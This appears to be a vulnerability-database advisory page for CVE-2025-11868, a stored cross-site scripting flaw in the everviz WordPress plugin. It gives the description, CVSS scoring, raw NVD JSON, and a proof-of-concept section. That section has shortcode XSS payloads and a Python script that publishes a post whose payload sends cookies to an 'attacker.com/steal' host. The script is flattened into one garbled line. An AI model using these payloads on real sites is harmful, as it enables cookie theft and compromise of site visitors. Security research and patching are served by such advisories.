Security Vulnerability Report
中文
CVE-2025-11868 CVSS 6.4 MEDIUM

CVE-2025-11868

Published: 2025-11-18 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

The everviz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `everviz` shortcode attributes in versions up to, and including, 1.1. This is due to the plugin not properly sanitizing user input or escaping output when building a `<div id=...>` from the `type` and `hash` attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

everviz plugin for WordPress <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11868 PoC - Stored XSS in WordPress everviz plugin # Author: Security Researcher # Target: WordPress with everviz plugin <= 1.1 # Method 1:利用type属性的XSS [everviz type='xss" onerror="alert(String.fromCharCode(88,83,83)))"' hash='test'] # Method 2: 利用hash属性的XSS [everviz type='chart' hash='test\"><script>alert(document.domain)</script>'] # Method 3: 利用事件处理器注入 [everviz type='test\" style=\"animation-name:rotation onanimationstart=alert(document.cookie)//' hash='y'] # Python exploit script example: import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" session = requests.Session() # Login as contributor user login_data = { "log": "contributor_username", "pwd": "contributor_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Chart Page", "content": "[everviz type='xss\" onerror=\"fetch(\\'https://attacker.com/steal?c=\\'+document.cookie)\\'><br>\"' hash='malicious']", "post_status": "publish", "publish": "Publish" } response = session.post(post_url, data=post_data) print("Malicious post created - XSS payload stored!")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11868", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:47.323", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The everviz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `everviz` shortcode attributes in versions up to, and including, 1.1. This is due to the plugin not properly sanitizing user input or escaping output when building a `<div id=...>` from the `type` and `hash` attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/everviz/tags/1.0/highcharts-editor.php#L136", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f3b265d9-dddd-4cf7-8d1a-980fdd17777d?source=cve", "source": "[email protected]"}]}}